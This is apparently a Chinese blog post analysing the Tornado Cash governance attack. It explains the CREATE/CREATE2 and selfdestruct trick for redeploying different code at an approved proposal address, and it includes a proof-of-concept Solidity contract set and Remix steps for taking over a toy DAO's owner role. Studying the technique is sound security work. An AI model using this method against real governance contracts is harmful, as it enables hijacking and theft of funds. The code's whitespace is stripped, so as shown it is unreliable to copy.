大概两周前(5月20日),知名混币协议TornadoCash遭受到治理攻击,黑客获取到了TornadoCash的治理合约的控制权(Owner)。攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案,待提案通过之后,销毁了提案要执行的合约地址,并在该地址上重新创建了一个攻击合约。攻击过程可以查看SharkTeam的Tornado.Cash提案攻击原理分析[1]。这里攻击的关键是在同一个地址上部署了不同的合约,这是如何实现的呢?
背景知识EVM中有两个操作码用来创建合约:CREATE与CREATE2。CREATE操作码当使用newToken()使用的是CREATE操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(senderAddress,nonce))创建的合约地址是通过创建者地址+创建者Nonce(创建合约的数量)来确定的,由于Nonce总是逐步递增的,当Nonce增加时,创建的合约地址总是是不同的。CREATE2操作码当添加一个salt时newToken{salt:bytes32()}(),则使用的是CREATE2操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(0xFF,senderAddress,salt,bytecode))创建的合约地址是创建者地址+自定义的盐+要部署的智能合约的字节码,因此只有相同字节码和使用相同的盐值,才可以部署到同一个合约地址上。那么如何才能在同一地址如何部署不用的合约?
攻击手段攻击者结合使用Create2和Create来创建合约,如图:代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/先用Create2部署一个合约Deployer,在Deployer使用Create创建目标合约Proposal(用于提案使用)。Deployer和Proposal合约中均有自毁实现(selfdestruct)。在提案通过后,攻击者把Deployer和Proposal合约销毁,然后重新用相同的slat创建Deployer,Deployer字节码不变,slat也相同,因此会得到一个和之前相同的Deployer合约地址,但此时Deployer合约的状态被清空了,nonce从0开始,因此可以使用该nonce创建另一个合约Attack。攻击代码示例此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address///SPDX-License-Identifier:MITpragmasolidity^0.8.17;contractDAO{ structProposal{ addresstarget; boolapproved; boolexecuted; } addresspublicowner=msg.sender; Proposal[]publicproposals; functionapprove(addresstarget)external{ require(msg.sender==owner,"notauthorized"); proposals.push(Proposal({target:target,approved:true,executed:false})); } functionexecute(uint256proposalId)externalpayable{ Proposalstorageproposal=proposals[proposalId]; require(proposal.approved,"notapproved"); require(!proposal.executed,"executed"); proposal.executed=true; (boolok,)=proposal.target.delegatecall( abi.encodeWithSignature("executeProposal()") ); require(ok,"delegatecallfailed"); }}contractProposal{ eventLog(stringmessage); functionexecuteProposal()external{ emitLog("ExcutedcodeapprovedbyDAO"); } functionemergencyStop()external{ selfdestruct(payable(address(0))); }}contractAttack{ eventLog(stringmessage); addresspublicowner; functionexecuteProposal()external{ emitLog("ExcutedcodenotapprovedbyDAO:)"); //Forexample-setDAO'sownertoattacker owner=msg.sender; }}contractDeployerDeployer{ eventLog(addressaddr); functiondeploy()external{ bytes32salt=keccak256(abi.encode(uint(123))); addressaddr=address(newDeployer{salt:salt}()); emitLog(addr); }}contractDeployer{ eventLog(addressaddr); functiondeployProposal()external{ addressaddr=address(newProposal()); emitLog(addr); } functiondeployAttack()external{ addressaddr=address(newAttack()); emitLog(addr); } functionkill()external{ selfdestruct(payable(address(0))); }}大家可以使用该代码自己在Remix中演练一下。
首先部署DeployerDeployer,调用DeployerDeployer.deploy()部署Deployer,然后调用Deployer.deployProposal()部署Proposal。拿到Proposal提案合约地址后,向DAO发起提案。分别调用Deployer.kill和Proposal.emergencyStop销毁掉Deployer和Proposal再次调用DeployerDeployer.deploy()部署Deployer,调用Deployer.deployAttack()部署Attack,Attack将和之前的Proposal一致。执行DAO.execute时,攻击完成获取到了DAO的Owner权限。